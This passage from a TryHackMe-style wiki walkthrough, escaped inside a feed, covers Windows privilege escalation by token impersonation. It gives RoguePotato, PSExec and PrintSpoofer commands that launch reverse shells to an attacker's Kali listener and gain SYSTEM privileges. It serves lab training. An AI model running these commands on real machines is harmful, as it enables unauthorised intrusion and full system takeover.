C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e &amp;quot;C:\PrivEsc\reverse.exe&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Token Impersonation - PrintSpoofer =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -&amp;gt; run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the &amp;quot;local service&amp;quot; account:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\PSExec64.exe -i -u &amp;quot;nt authority\local service&amp;quot; C:\PrivEsc\reverse.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Start another listener on Kali.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, in the &amp;quot;local service&amp;quot; reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\PrivEsc\PrintSpoofer.exe -c &amp;quot;C:\PrivEsc\reverse.exe&amp;quot; -i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Token Impersonation =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Service accounts may have a higher privilege level than the low-level user you may have. In Windows versions before Server 2019 and 10 (version 1809), these service accounts are affected by an internal man-in-the-middle vulnerability. As you may know,&amp;#039;&amp;#039;&amp;#039; man-in-the-middle &amp;#039;&amp;#039;&amp;#039;(MitM) attacks are conducted by intercepting network traffic. In a similar fashion, higher privileged service accounts will be forced to authenticate to a local port we listen on. Once the service account attempts to authenticate, this request is modified to negotiate a security token for the &amp;quot;&amp;#039;&amp;#039;&amp;#039;NT AUTHORITY\SYSTEM&amp;#039;&amp;#039;&amp;#039;&amp;quot; account. The security token obtained can be used by the user we have in a process called &amp;quot;&amp;#039;&amp;#039;&amp;#039;impersonation&amp;#039;&amp;#039;&amp;#039;&amp;quot;. Although it has led to several exploits, the impersonation rights were not a vulnerability.&lt;br /&gt;
&lt;br /&gt;
[[Category:Learning Path]]&lt;br /&gt;
[[Category:TryHackMe]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>